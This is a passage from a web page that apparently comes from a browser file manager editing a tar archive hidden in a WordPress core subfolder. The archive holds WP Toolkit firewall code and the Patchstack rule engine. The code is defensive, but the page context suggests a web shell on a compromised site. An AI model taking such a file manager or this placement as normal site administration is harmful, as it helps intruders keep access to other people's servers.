File manager - Edit - /home/decorea/www/wp-includes/certificates/XML/mu-plugins.tar
Back
wp-toolkit/Waf/FirewallEngine.php 0000644 00000010766 15231023503 0013002 0 ustar 00 <?php // Copyright 1999-2024. WebPros International GmbH. All rights reserved. namespace Webpros\WptkWpPlugin\WpToolkit\Waf; use Patchstack\Processor; use Webpros\WptkWpPlugin\WpToolkit\Common\WordPressHelper; use Webpros\WptkWpPlugin\WpToolkit\Waf\Extensions\HttpRequestExtension; use Webpros\WptkWpPlugin\WpToolkit\Waf\RulesConverter\PatchstackRuleConverter; final class FirewallEngine { const ENGINE_PATCHSTACK = 'fw-engine'; const OPTION_ACTIVE_RULES = 'wp-toolkit_waf_active_rules'; const OPTION_RULES = 'wp-toolkit_waf_rules'; /** * @param string[] $vulnerabilityIds * * @return void */ public static function deleteRules($vulnerabilityIds) { $groupedRules = (array)get_option(self::OPTION_RULES, []); foreach ($vulnerabilityIds as $vulnerabilityId) { unset($groupedRules[$vulnerabilityId]); } self::saveRules($groupedRules); } /** * @return bool */ public static function launch($mustUsePluginCall = false) { $firewallRules = self::getFirewallRules(); if (\count($firewallRules) === 0) { return true; } $whitelistRules = []; $settings = [ 'mustUsePluginCall' => $mustUsePluginCall, ]; $firewall = new Processor( new HttpRequestExtension(), $firewallRules, $whitelistRules, $settings ); return $firewall->launch(); } /** * @return string[] */ public static function listActiveRules() { return \array_keys(self::getFirewallRules()); } /** * @param array $rules * * @return void */ public static function setRules($rules) { $groupedRules = self::groupByVulnerabilityId($rules); self::saveRules($groupedRules); } /** * @param array $rules * * @return void */ public static function upsertRules($rules) { $currentRules = (array)get_option(self::OPTION_RULES, []); $groupedRules = self::groupByVulnerabilityId($rules); foreach ($groupedRules as $vulnerabilityId => $vulnerabilityRules) { $currentRules[$vulnerabilityId] = $vulnerabilityRules; } self::saveRules($currentRules); } /** * @param array $rule * * @return array */ private static function convertRule($rule) { switch (self::getPreferredEngine()) { case self::ENGINE_PATCHSTACK: return PatchstackRuleConverter::convert($rule); default: return $rule; } } /** * @param array $groupedRules * * @return array */ private static function filterActiveRules($groupedRules) { $activeRules = []; foreach ($groupedRules as $vulnerabilityId => $rules) { $filteredRules = self::filterRulesByPreferredEngine($rules); if (\count($filteredRules) > 0) { // We use first suitable rule for preferred engine $rule = \array_shift($filteredRules); $activeRules[$vulnerabilityId] = self::convertRule($rule); } } return $activeRules; } /** * @param array $rules * * @return array */ private static function filterRulesByPreferredEngine($rules) { return \array_filter( $rules, static function ($r) { return $r['engine'] === self::getPreferredEngine(); } ); } /** * @return array */ private static function getFirewallRules() { return (array)get_option(self::OPTION_ACTIVE_RULES, []); } /** * @return string */ private static function getPreferredEngine() { return self::ENGINE_PATCHSTACK; } /** * @param array $rules * * @return array */ private static function groupByVulnerabilityId($rules) { return \array_reduce( $rules, static function ($c, $r) { $c[$r['vulnerabilityId']][] = $r; return $c; }, [] ); } /** * @param array $groupedRules * * @return void */ private static function saveRules($groupedRules) { WordPressHelper::upsert_option(self::OPTION_RULES, $groupedRules); WordPressHelper::upsert_option(self::OPTION_ACTIVE_RULES, self::filterActiveRules($groupedRules)); } } wp-toolkit/Waf/waf-bootstrap.php 0000644 00000001562 15231023503 0012671 0 ustar 00 <?php // Copyright 1999-2024. WebPros International GmbH. All rights reserved. /* Do not access this file directly */ if (!defined('ABSPATH')) { header('Content-Type: text/plain'); die(<<<MSG __________ < Go away > ---------- \ ^__^ \ (oo)\_______ (__)\ )\/\ ||----w | || || MSG ); } use Webpros\WptkWpPlugin\WpToolkit\Common\CliHelper; use Webpros\WptkWpPlugin\WpToolkit\Waf\Cli\WafCommand; use Webpros\WptkWpPlugin\WpToolkit\Waf\FirewallEngine; if (CliHelper::is_cli()) { if (\class_exists(\WP_CLI::class, false)) { WP_CLI::add_command('wp-toolkit waf', WafCommand::class); } return; } if (!\get_option('wp-toolkit_waf_status', false)) { return; } FirewallEngine::launch(true); define('PS_FW_MU_RAN', true); add_action('init', [FirewallEngine::class, 'launch']); wp-toolkit/Waf/RulesConverter/RuleConverterInterface.php 0000644 00000000411 15231023503 0017473 0 ustar 00 <?php // Copyright 1999-2024. WebPros International GmbH. All rights reserved. namespace Webpros\WptkWpPlugin\WpToolkit\Waf\RulesConverter; interface RuleConverterInterface { /** * @return array */ public static function convert(array $rule); } wp-toolkit/Waf/RulesConverter/PatchstackRuleConverter.php 0000644 00000000654 15231023503 0017671 0 ustar 00 <?php // Copyright 1999-2024. WebPros International GmbH. All rights reserved. namespace Webpros\WptkWpPlugin\WpToolkit\Waf\RulesConverter; final class PatchstackRuleConverter implements RuleConverterInterface { public static function convert(array $rule) { return [ 'id' => \crc32($rule['vulnerabilityId']), 'rules' => $rule['rules'], 'type' => 'BLOCK', ]; } } wp-toolkit/Waf/Cli/WafCommand.php 0000644 00000004437 15231023503 0012630 0 ustar 00 <?php // Copyright 1999-2024. WebPros International GmbH. All rights reserved. namespace Webpros\WptkWpPlugin\WpToolkit\Waf\Cli; use Webpros\WptkWpPlugin\WpToolkit\Common\SwitchableCommandTrait; use Webpros\WptkWpPlugin\WpToolkit\Waf\FirewallEngine; use Webpros\WptkWpPlugin\WpToolkit\Waf\Validator\RuleCollectionValidator; use WP_CLI; use WP_CLI_Command; /** * Common structure of incoming data: * array<int, array{vulnerabilityId: string, engine: string, provider: string, rules: array}> */ class WafCommand extends WP_CLI_Command { use SwitchableCommandTrait; /** * @param array $args * @param array $assoc_args * * @return void * * @throws WP_CLI\ExitException */ public function delete($args, $assoc_args) { $value = WP_CLI::get_value_from_arg_or_stdin($args, 0); $vulnerabilityIds = WP_CLI::read_value($value, $assoc_args); if (!\is_array($vulnerabilityIds)) { WP_CLI::error('Passed vulnerability ids has an incompatible format'); } FirewallEngine::deleteRules($vulnerabilityIds); } /** * @subcommand list * * @param array $args * @param array $assoc_args * * @return void */ public function list_($args, $assoc_args) { WP_CLI::print_value(FirewallEngine::listActiveRules(), $assoc_args); } /** * @param array $args * @param array $assoc_args * * @return void * @throws WP_CLI\ExitException */ public function set($args, $assoc_args) { $value = WP_CLI::get_value_from_arg_or_stdin($args, 0); $rules = WP_CLI::read_value($value, $assoc_args); RuleCollectionValidator::validate($rules); FirewallEngine::setRules($rules); } /** * @param array $args * @param array $assoc_args * * @return void * @throws WP_CLI\ExitException */ public function upsert($args, $assoc_args) { $value = WP_CLI::get_value_from_arg_or_stdin($args, 0); $rules = WP_CLI::read_value($value, $assoc_args); RuleCollectionValidator::validate($rules); FirewallEngine::upsertRules($rules); } /** * @return string */ protected function getSwitchOption() { return 'wp-toolkit_waf_status'; } } wp-toolkit/Waf/Extensions/HttpRequestExtension.php 0000644 00000003044 15231023503 0016422 0 ustar 00 <?php // Copyright 1999-2024. WebPros International GmbH. All rights reserved. namespace Webpros\WptkWpPlugin\WpToolkit\Waf\Extensions; use Patchstack\Extensions\ExtensionInterface; class HttpRequestExtension implements ExtensionInterface { /** * @param int $ruleId * @param string $bodyData * @param string $blockType * @return void */ public function logRequest($ruleId, $bodyData, $blockType) { } /** * @return false */ public function canBypass($isMuCall) { return false; } /** * @param int $minutes * @param int $blockTime * @param int $attempts * @return false */ public function isBlocked($minutes, $blockTime, $attempts) { return false; } /** * @param int $ruleId * @return never */ public function forceExit($ruleId) { exit; } /** * @return string */ public function getIpAddress() { return isset($_SERVER['REMOTE_ADDR']) ? $_SERVER['REMOTE_ADDR'] : ''; } /** * @return string */ public function getHostName() { return isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : ''; } /** * @param array $whitelistRules * @param array $request * @return false */ public function isWhitelisted($whitelistRules, $request) { return false; } /** * @return bool */ public function isFileUploadRequest() { return isset($_FILES) && count($_FILES) > 0; } } wp-toolkit/Waf/Validator/RuleValidator.php 0000644 00000003457 15231023503 0014610 0 ustar 00 <?php // Copyright 1999-2024. WebPros International GmbH. All rights reserved. namespace Webpros\WptkWpPlugin\WpToolkit\Waf\Validator; use WP_CLI; final class RuleValidator { const STRING_FIELDS = [ 'vulnerabilityId', 'engine', 'provider', ]; /** * @param array $rule * * @return void * @throws \WP_CLI\ExitException */ public static function validate($rule) { if (\is_array($rule) === false) { WP_CLI::error('Rule is not an array'); } foreach (self::STRING_FIELDS as $field) { self::validateStringField($field, $rule); } self::validateArrayField('rules', $rule); } /** * @param string $field * @param array $rule * * @return void * @throws \WP_CLI\ExitException */ private static function validateArrayField($field, $rule) { $value = isset($rule[$field]) ? $rule[$field] : null; if ($value === null) { WP_CLI::error($field . ' is not set'); } if (\is_array($value) === false) { WP_CLI::error($field . ' is not an array'); } if (empty($value)) { WP_CLI::error($field . ' is empty'); } } /** * @param string $field * @param array $rule * * @return void * @throws \WP_CLI\ExitException */ private static function validateStringField($field, $rule) { $value = isset($rule[$field]) ? $rule[$field] : null; if ($value === null) { WP_CLI::error($field . ' is not set'); } if (\is_string($value) === false) { WP_CLI::error($field . ' is not a string'); } if (empty($value)) { WP_CLI::error($field . ' is empty'); } } } wp-toolkit/Waf/Validator/RuleCollectionValidator.php 0000644 00000001045 15231023503 0016613 0 ustar 00 <?php // Copyright 1999-2024. WebPros International GmbH. All rights reserved. namespace Webpros\WptkWpPlugin\WpToolkit\Waf\Validator; use WP_CLI; final class RuleCollectionValidator { /** * @param array $rules * * @return void * @throws \WP_CLI\ExitException */ public static function validate($rules) { if (\is_array($rules) === false) { WP_CLI::error('Rules is not an array'); } foreach ($rules as $rule) { RuleValidator::validate($rule); } } } wp-toolkit/Common/WordPressHelper.php 0000644 00000000504 15231023503 0013677 0 ustar 00 <?php // Copyright 1999-2024. WebPros International GmbH. All rights reserved. namespace Webpros\WptkWpPlugin\WpToolkit\Common; class WordPressHelper { public static function upsert_option($option, $value) { if (!add_option($option, $value)) { update_option($option, $value); } } } wp-toolkit/Common/SwitchableCommandTrait.php 0000644 00000002151 15231023503 0015177 0 ustar 00 <?php // Copyright 1999-2024. WebPros International GmbH. All rights reserved. namespace Webpros\WptkWpPlugin\WpToolkit\Common; use WP_CLI; trait SwitchableCommandTrait { /** * @return string */ abstract protected function getSwitchOption(); /** * @subcommand enable * @return void */ public function enable() { WordPressHelper::upsert_option($this->getSwitchOption(), true); } /** * @subcommand disable * @return void */ public function disable() { WordPressHelper::upsert_option($this->getSwitchOption(), false); } /** * @subcommand status * @return void */ public function status() { $status = get_option($this->getSwitchOption(), false); WP_CLI::print_value((int)$status); } private function isEnabled() { return (bool) get_option($this->getSwitchOption(), false); } private function ensureCommandEnabled() { if (!$this->isEnabled()) { WP_CLI::error(sprintf("Command `%s` isn't enabled", get_class($this))); } } } wp-toolkit/Common/CliHelper.php 0000644 00000000374 15231023503 0012463 0 ustar 00 <?php // Copyright 1999-2024. WebPros International GmbH. All rights reserved. namespace Webpros\WptkWpPlugin\WpToolkit\Common; class CliHelper { public static function is_cli() { return php_sapi_name() === 'cli'; } } wp-toolkit/vendor/autoload.php 0000644 00000001403 15231023503 0012463 0 ustar 00 <?php // autoload.php @generated by Composer if (PHP_VERSION_ID < 50600) { if (!headers_sent()) { header('HTTP/1.1 500 Internal Server Error'); } $err = 'Composer 2.3.0 dropped support for autoloading on PHP <5.6 and you are running '.PHP_VERSION.', please upgrade PHP or use Composer 2.2 LTS via "composer self-update --2.2". Aborting.'.PHP_EOL; if (!ini_get('display_errors')) { if (PHP_SAPI === 'cli' || PHP_SAPI === 'phpdbg') { fwrite(STDERR, $err); } elseif (!headers_sent()) { echo $err; } } trigger_error( $err, E_USER_ERROR ); } require_once __DIR__ . '/composer/autoload_real.php'; return ComposerAutoloaderInit1bb2fd870bbd3a762bb067ebd1a880d9::getLoader(); wp-toolkit/vendor/patchstack/engine-php/.gitignore 0000644 00000001216 15231023503 0016313 0 ustar 00 # These are some examples of commonly ignored file patterns. # You should customize this list as applicable to your project. # Learn more about .gitignore: # https://www.atlassian.com/git/tutorials/saving-changes/gitignore # PHP artifact files vendor/ # Node artifact files node_modules/ dist/ # Compiled Java class files *.class # Compiled Python bytecode *.py[cod] # Log files *.log # Package files *.jar # Maven target/ dist/ # JetBrains IDE .idea/ # Unit test reports TEST*.xml # Generated by MacOS .DS_Store # Generated by Windows Thumbs.db # Applications *.app *.exe *.war # Large media files *.mp4 *.tiff *.avi *.flv *.mov *.wmv wp-toolkit/vendor/patchstack/engine-php/.gitattributes 0000644 00000000024 15231023503 0017212 0 ustar 00 /tests export-ignore wp-toolkit/vendor/patchstack/engine-php/phpcs.xml 0000644 00000001103 15231023503 0016155 0 ustar 00 <?xml version="1.0" encoding="UTF-8"?> <ruleset name="Patchstack CS" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="Patchstack"> <arg name="colors"/> <arg name="extensions" value="php"/> <file>./src</file> <file>./tests</file> <exclude-pattern>*/vendor/*</exclude-pattern> <rule ref="PSR12"> <exclude name="Generic.Files.LineLength.TooLong" /> <exclude name="Generic.Files.LowercasedFilename.NotFound" /> <exclude name="PSR1.Classes.ClassDeclaration.MissingNamespace" /> </rule> </ruleset> wp-toolkit/vendor/patchstack/engine-php/src/Processor.php 0000644 00000042260 15231023503 0017606 0 ustar 00 <?php namespace Patchstack; use Patchstack\Response; use Patchstack\Request; use Patchstack\Extensions\ExtensionInterface; class Processor { /** * The firewall rules to process. * * @var array */ private $firewallRules = []; /** * The whitelist rules to process. * * @var array */ private $whitelistRules = []; /** * The options of the engine. * * @var array */ private $options = [ 'autoblockAttempts' => 10, 'autoblockMinutes' => 30, 'autoblockTime' => 60, 'whitelistKeysRules' => [], 'mustUsePluginCall' => false ]; /** * The extension that will process specific logic for the CMS. * * @var ExtensionInterface */ private $extension; /** * The captured request that needs to be inspected. * * @var Request */ private $request; /** * The response that will be sent, depending on the action executed by the processor. * * @var Response */ private $response; /** * Creates a new processor instance. * * @param ExtensionInterface $extension * @param array $firewallRules * @param array $whitelistRules * @param array $options * @return void */ public function __construct( ExtensionInterface $extension, $firewallRules = [], $whitelistRules = [], $options = [] ) { $this->extension = $extension; $this->firewallRules = $firewallRules; $this->whitelistRules = $whitelistRules; $this->options = array_merge($this->options, $options); $this->request = new Request($this->options, $this->extension); $this->response = new Response($this->options); } /** * Magic getter for the options. * * @param string $name * @return mixed */ public function __get($name) { return isset($this->options[$name]) ? $this->options[$name] : null; } /** * Launch the firewall. First we determine if the user is blocked and whitelisted, then go through * all of the firewall rules. * * Will return true if $mustExit is false and all of the rules were processed without a positive detection. * * @param boolean $mustExit * @return boolean */ public function launch($mustExit = true) { // Determine if the user is temporarily blocked from the site before we do anything else. if ( $this->extension->isBlocked($this->autoblockMinutes, $this->autoblockTime, $this->autoblockAttempts) && !$this->extension->canBypass($this->mustUsePluginCall) ) { $this->extension->forceExit(22); } // Determine if the firewall and whitelist rules were parsed properly. if (!is_array($this->firewallRules) || !is_array($this->whitelistRules)) { return true; } // Determine if we have any firewall and/or whitelist rules loaded. if (count($this->firewallRules) == 0 && count($this->whitelistRules) == 0) { return true; } // Determine if the current request is whitelisted or not. $isWhitelisted = $this->extension->canBypass($this->mustUsePluginCall); // Merge the rules together. First iterate through the whitelist rules because // we want to whitelist the request if there's a whitelist rule match. $rules = array_merge($this->whitelistRules, $this->firewallRules); // Iterate through all the firewall rules. foreach ($rules as $rule) { // Should never happen. if (!isset($rule['rules']) || empty($rule['rules'])) { continue; } // If this rule should respect the whitelist, we check this before we continue. if (isset($rule['bypass_whitelist']) && ($rule['bypass_whitelist'] === 0 || $rule['bypass_whitelist'] === false) && $isWhitelisted) { continue; } // If the rule contains matching type we cannot call during mu-plugins, skip. $hasWpAction = $this->hasWpAction($rule['rules']); if (defined('PS_FW_MU_RAN') && !$hasWpAction || $this->mustUsePluginCall && $hasWpAction) { continue; } // Execute the firewall rule. $rule_hit = $this->executeFirewall($rule['rules']); // If the payload did not match the rule, continue on to the next rule. if (!$rule_hit) { continue; } // Capture the POST data for logging purposes. if ($rule['type'] != 'WHITELIST') { $postData = $this->request->getParameterValues('log'); } // Determine what action to perform. if ($rule['type'] == 'BLOCK') { $this->extension->logRequest($rule['id'], $postData, 'BLOCK'); // Do we have to exit the page or simply return false? if ($mustExit) { $this->extension->forceExit($rule['id']); } else { return false; } } elseif ($rule['type'] == 'LOG') { $this->extension->logRequest($rule['id'], $postData, 'LOG'); } elseif ($rule['type'] == 'REDIRECT') { $this->extension->logRequest($rule['id'], $postData, 'REDIRECT'); $this->response->redirect($rule['type_params'], $mustExit); } elseif ($rule['type'] == 'WHITELIST') { return $mustExit; } } return true; } /** * Execute the firewall rules. * * @param array $rules * @return bool */ public function executeFirewall($rules) { // Count number of inclusive rules, if any. $inclusiveCount = 0; if (count($rules) > 1) { $inclusiveCount = $this->getInclusiveCount($rules); } // Keep track of how many inclusive rule hits. $inclusiveHits = 0; // Loop through all of the conditions for this rule. foreach ($rules as $rule) { // Parameter must always be present. if (!isset($rule['parameter'])) { continue; } // Cast to an array so we can iterate through all parameters. if (!is_array($rule['parameter'])) { $parameters = [$rule['parameter']]; } else { $parameters = $rule['parameter']; } // Iterate through all parameters. foreach ($parameters as $parameter) { // Extract the value of the paramater that we want. $values = $this->request->getParameterValues($parameter); if (is_null($values) && $parameter !== false && $parameter != 'rules') { continue; } // For special parameter values we just set the array to a single null value. if ($parameter === false || $parameter == 'rules') { $values = [null]; } // For all field matches, we want to execute the rule against it. foreach ($values as $value) { // Apply mutations, if any. if (isset($rule['mutations']) && is_array($rule['mutations'])) { $value = $this->request->applyMutation($rule['mutations'], $value); if (is_null($value)) { continue; } } // Perform the matching. if (isset($rule['match']) && is_array($rule['match']) || isset($rule['rules'])) { // Do we have to process child-rules? if (isset($rule['rules'])) { $match = $this->executeFirewall($rule['rules']); } else { $match = $this->matchParameterValue($rule['match'], $value); } // Is the rule a match? if ($match) { // In case there are multiple rules, they may require chained AND conditions. if ($inclusiveCount <= 1 || !isset($rule['inclusive']) || $rule['inclusive'] !== true) { return true; } else { $inclusiveHits++; } } } } } } // In case we hit all of the AND conditions. if ($inclusiveCount > 1 && $inclusiveHits >= $inclusiveCount) { return true; } return false; } /** * Get the number of inclusive rules as part of the rule group. * * @param array $rules * @return int */ public function getInclusiveCount($rules) { if (count($rules) == 1) { return 1; } $count = 0; foreach ($rules as $rule) { if (isset($rule['inclusive']) && $rule['inclusive'] === true) { $count++; } } return $count; } /** * With the given parameter value, attempt to match it. * * @param mixed $match * @param mixed $value * @return bool */ public function matchParameterValue($match, $value) { // Take some of the parameters for easy access. $matchType = isset($match['type']) ? $match['type'] : null; $matchValue = isset($match['value']) ? $match['value'] : null; // Perform a match depending on the given match type. // If a scalar matches another scalar (loose). if ($matchType == 'equals' && is_scalar($value) && is_scalar($matchValue)) { return $matchValue == $value; } // If a scalar matches another scaler (strict). if ($matchType == 'equals_strict' && is_scalar($value) && is_scalar($matchValue)) { return $matchValue === $value; } // If a scalar is bigger than another scalar. if ($matchType == 'more_than' && is_scalar($value) && is_scalar($matchValue)) { return $value > $matchValue; } // If a scalar is less than another scalar. if ($matchType == 'less_than' && is_scalar($value) && is_scalar($matchValue)) { return $value < $matchValue; } // If the parameter is present at all. if ($matchType == 'isset') { return true; } // If a scalar is a ctype alnum with underscores, dashes and spaces. if ($matchType == 'ctype_special' && is_scalar($value) && $value != '') { $value = str_replace([' ', '_', '-', ','], '', $value); $isClean = (bool) (@preg_match('/^[\w$\x{0080}-\x{FFFF}]*$/u', $value) > 0); return $isClean === $matchValue; } // If a scaler is a ctype digit. if ($matchType == 'ctype_digit' && is_scalar($value) && $value != '') { return @ctype_digit($value) === $matchValue; } // If a scaler is a ctype alnum. if ($matchType == 'ctype_alnum' && is_scalar($value) && $value != '') { $isClean = (bool) (@preg_match('/^[\w$\x{0080}-\x{FFFF}]*$/u', $value) > 0); return $isClean === $matchValue; } // If a scalar is numeric. if ($matchType == 'is_numeric' && is_scalar($value) && $value != '') { return @is_numeric($value) === $matchValue; } // If a scalar contains a value. if (($matchType == 'contains' || $matchType == 'stripos') && is_scalar($value)) { return @stripos($value, $matchValue) !== false; } // If a scalar does not contain a value. if ($matchType == 'not_contains' && is_scalar($value)) { return @stripos($value, $matchValue) === false; } // If a scalar contains single or double quotes. if (($matchType == 'quotes' || $matchType == 'inline_js_xss') && is_scalar($value)) { return @stripos($value, '"') !== false || @stripos($value, "'") !== false; } // If a string matches a regular expression. if ($matchType == 'regex' && is_string($matchValue) && is_scalar($value)) { return @preg_match($matchValue, @urldecode($value)) === 1; } // If the user does not have a WP privilege. if ($matchType == 'current_user_cannot' && is_scalar($matchValue) && function_exists('current_user_can') && !$this->mustUsePluginCall) { return @!current_user_can($matchValue); } // If a value is in an array. if ($matchType == 'in_array' && !is_array($value) && is_array($matchValue)) { return @in_array($value, $matchValue); } // If a value is not in an array. if ($matchType == 'not_in_array' && !is_array($value) && is_array($matchValue)) { return @!in_array($value, $matchValue); } // If an array of values is in another array of values. if ($matchType == 'array_in_array' && is_array($value) && is_array($matchValue)) { return @count(@array_intersect($value, $matchValue)) > 0; } // If a specific parameter key matches a sub-match condition. if ($matchType == 'array_key_value' && isset($match['key'], $match['match'])) { // To support arrays for the key matching type value. $keys = is_array($match['key']) ? $match['key'] : [$match['key']]; // Iterate through all keys. foreach ($keys as $key) { $values = $this->request->getParameterValues($key, $value); if (!is_array($values)) { continue; } foreach ($values as $val) { if ($this->matchParameterValue($match['match'], $val)) { return true; } } } return false; } // If the user provided value does not match the current hostname. if ($matchType == 'hostname' && is_string($value)) { if (empty($value)) { return false; } // If there's no protocol we add it. if (substr($value, 0, 4) != 'http') { $value = 'https://' . $value; } // We only care about the hostname. $host = @parse_url($value, PHP_URL_HOST); if (!$host) { return true; } return $host !== $this->extension->getHostName(); } // If any of the uploaded files in the parameter matches a sub-match condition. if ($matchType == 'file_contains' && isset($match['match'])) { // Extract all tmp_names. if (isset($value['tmp_name'])) { $files = $value['tmp_name']; if (!is_array($files)) { $files = [$files]; } } else { $files = array_column($value, 'tmp_name'); } // No need to continue if there are no files. if (is_array($files) && count($files) === 0) { return false; } // Cast all tmp_names to a single-dimension array. $files = $this->request->getArrayValues($files, '', 'array'); if (is_array($files) && count($files) === 0) { return false; } // Get the contents of the files. $contents = ''; foreach ($files as $file) { $contents .= (string) @file_get_contents($file); } // Now attempt to match it. return $this->matchParameterValue($match['match'], $contents); } // If a scalar passes a run through wp_kses_post. if ($matchType == 'general_xss' && is_scalar($value) && function_exists('wp_kses_post')) { return $value != @\wp_kses_post($value); } // If a scalar passes a run through inline_js_xss. if ($matchType == 'inline_xss' && is_scalar($value)) { if (@stripos($value, '"') === false && @stripos($value, "'") === false) { return false; } if (@stripos($value, '>') !== false || @stripos($value, '=') !== false) { return true; } return false; } return false; } /** * Determine if the rules contain an action that should not be executed under the mu-plugins context. * * @param array $rules * @return boolean */ private function hasWpAction($rules) { $functions = ['current_user_cannot']; if (isset($rules['rules'])) { if ($this->hasWpAction($rules['rules'])) { return true; } } foreach ($rules as $rule) { if (!isset($rule['match'], $rule['match']['type'])) { continue; } if (in_array($rule['match']['type'], $functions)) { return true; } } return false; } } wp-toolkit/vendor/patchstack/engine-php/src/.htaccess 0000444 00000000177 15231023503 0016713 0 ustar 00 <FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'> Order allow,deny Deny from all </FilesMatch> wp-toolkit/vendor/patchstack/engine-php/src/Extensions/Test/Extension.php 0000644 00000004165 15231023503 0022663 0 ustar 00 <?php namespace Patchstack\Extensions\Test; use Patchstack\Extensions\ExtensionInterface; class Extension implements ExtensionInterface { /** * Log the request, this can be of type BLOCK, LOG or REDIRECT. * * @param int $ruleId * @param string $bodyData * @param string $blockType * @return void */ public function logRequest($ruleId, $bodyData, $blockType) { return true; } /** * Determine if the current visitor can bypass the firewall. * If $isMuCall is true, we MUST avoid any function calls that checks the current authorization of the user, * this includes current_user_can. Otherwise, a fatal error is thrown. * * @param bool $isMuCall * @return bool */ public function canBypass($isMuCall) { return false; } /** * Determine if the visitor is blocked from the website. * * @param int $minutes * @param int $blockTime * @param int $attempts * @return bool */ public function isBlocked($minutes, $blockTime, $attempts) { return false; } /** * Force exit the page when a request has been blocked. * * @param int $ruleId * @return void */ public function forceExit($ruleId) { exit; } /** * Get the IP address of the request. * * @return string */ public function getIpAddress() { return '127.0.0.1'; } /** * Determine if the request should not go through the firewall. * * @param array $whitelistRules * @param array $request */ public function isWhitelisted($whitelistRules, $request) { return false; } /** * Get the hostname of the environment. * This is only used for open redirect vulnerabilities. * * @return string */ public function getHostName() { return 'wordpress.test'; } /** * Determine if the current request is a file upload request. * * @return boolean */ public function isFileUploadRequest() { return false; } } wp-toolkit/vendor/patchstack/engine-php/src/Extensions/Test/.htaccess 0000444 00000000177 15231023503 0021771 0 ustar 00 <FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'> Order allow,deny Deny from all </FilesMatch> wp-toolkit/vendor/patchstack/engine-php/src/Extensions/.htaccess 0000444 00000000177 15231023503 0021052 0 ustar 00 <FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'> Order allow,deny Deny from all </FilesMatch> wp-toolkit/vendor/patchstack/engine-php/src/Extensions/ExtensionInterface.php 0000644 00000004057 15231023503 0023565 0 ustar 00 <?php namespace Patchstack\Extensions; /** * Any extension must implement the methods of the interface. * Some CMS systems might implement some of the logic completely different than others. */ interface ExtensionInterface { /** * Log the request, this can be of type BLOCK, LOG or REDIRECT. * * @param int $ruleId * @param string $bodyData * @param string $blockType * @return void */ public function logRequest($ruleId, $bodyData, $blockType); /** * Determine if the current visitor can bypass the firewall. * If $isMuCall is true, we MUST avoid any function calls that checks the current authorization of the user, * this includes current_user_can. Otherwise, a fatal error is thrown. * * @param bool $isMuCall * @return bool */ public function canBypass($isMuCall); /** * Determine if the visitor is blocked from the website. * * @param int $minutes * @param int $blockTime * @param int $attempts * @return bool */ public function isBlocked($minutes, $blockTime, $attempts); /** * Force exit the page when a request has been blocked. * * @param int $ruleId * @return void */ public function forceExit($ruleId); /** * Get the IP address of the request. * Do NOT blindly rely on IP address headers which can be spoofed, such as X-Forwarded-For. * * @return string */ public function getIpAddress(); /** * Get the hostname of the environment. * This is only used for open redirect vulnerabilities. * * @return string */ public function getHostName(); /** * Determine if the request should be passed without going through the firewall. * * @param array $whitelistRules * @param array $request */ public function isWhitelisted($whitelistRules, $request); /** * Determine if the current request is a file upload request. * * @return boolean */ public function isFileUploadRequest(); } wp-toolkit/vendor/patchstack/engine-php/src/Request.php 0000644 00000037337 15231023503 0017270 0 ustar 00 <?php namespace Patchstack; use Patchstack\Extensions\ExtensionInterface; class Request { /** * The options of the engine. * * @var array */ private $options; /** * The extension that will process specific logic for the CMS. * * @var ExtensionInterface */ private $extension; /** * Creates a new request instance. * * @param array $options * @return void */ public function __construct($options, ExtensionInterface $extension) { $this->options = $options; $this->extension = $extension; } /** * Grab the request parameters we are trying to capture for the given rule. * * @param mixed $parameter * @param array $data * @return mixed */ public function getParameterValues($parameter, $data = []) { // For when a rule contains sub-rules. if (empty($parameter) || ctype_digit($parameter) || !is_array($data)) { return null; } // Explode on the dot to grab the proper key value. $t = explode('.', $parameter); $type = $t[0]; if (count($data) == 0) { array_shift($t); } switch ($type) { case 'all': $data = [ 'post' => $_POST, 'get' => $_GET, 'url' => isset($_SERVER['REQUEST_URI']) ? $_SERVER['REQUEST_URI'] : '', 'raw' => ['raw' => $this->getParameterValues('raw')] ]; break; case 'log': return [ 'post' => $_POST, 'raw' => $this->getParameterValues('raw') ]; break; case 'post': $data = $_POST; break; case 'get': $data = $_GET; break; case 'request': $data = $_REQUEST; break; case 'cookie': $data = $_COOKIE; break; case 'files': $data = $_FILES; break; case 'server': $data = $_SERVER; break; case 'raw': $data = @file_get_contents( 'php://input' ); // Ignore if no data in payload. if (empty($data)) { $data = []; break; } // Determine if it's base64 encoded. if (is_string($data) && preg_match('%^[a-zA-Z0-9/+]*={0,2}$%', $data)) { $decoded = base64_decode($data, true); if ($decoded !== false) { $encoding = mb_detect_encoding($decoded); if (in_array($encoding, ['UTF-8', 'ASCII'], true) && $decoded !== false && base64_encode($decoded) === $data) { $data = $decoded; } } } // Determine if it's JSON encoded. if (is_string($data)) { $result = json_decode($data, true); if (is_array($result)) { $data = $result; } } // If it's not an array, no need to continue. if (!is_array($data)) { return [$data]; } default: break; } // No need to continue if we don't have any data to match against. if (count($data) == 0) { return null; } // Special condition for the IP address. if ($type === 'server' && isset($t[0]) && $t[0] === 'ip') { return [$this->extension->getIpAddress()]; } // For wildcard matching we handle it a bit differently. // We want to extract all wildcard matches and pass them as an array so we // can execute a firewall rule against all the fields that match. if (strpos($parameter, '*') !== false) { $values = $this->getValuesByWildcard($data, $parameter); return count($values) == 0 ? null : $values; } // Just one parameter we have to match against. if (count($t) === 1) { return isset($data[$t[0]]) ? [$data[$t[0]]] : null; } // For multidimensional arrays. $end = $data; $skip = false; foreach ( $t as $var ) { if ( ! isset( $end[ $var ] ) ) { $skip = true; break; } $end = $end[ $var ]; } return $skip ? null : [$end]; } /** * Apply mutations to the captured value. * * @param array $mutations * @param mixed $value * @return mixed */ public function applyMutation($mutations, $value) { if (count($mutations) === 0) { return $value; } // Define the allowed mutations. // Array value contains the arguments to pass to the function as well as expected type. $allowed = [ 'json_encode' => [ 'args' => [] ], 'json_decode' => [ 'args' => [true], 'type' => 'is_string' ], 'base64_decode' => [ 'args' => [], 'type' => 'is_string' ], 'intval' => [ 'args' => [], 'type' => 'is_scalar' ], 'urldecode' => [ 'args' => [], 'type' => 'is_string' ], 'getArrayValues' => [ 'args' => [], 'type' => 'is_array' ], 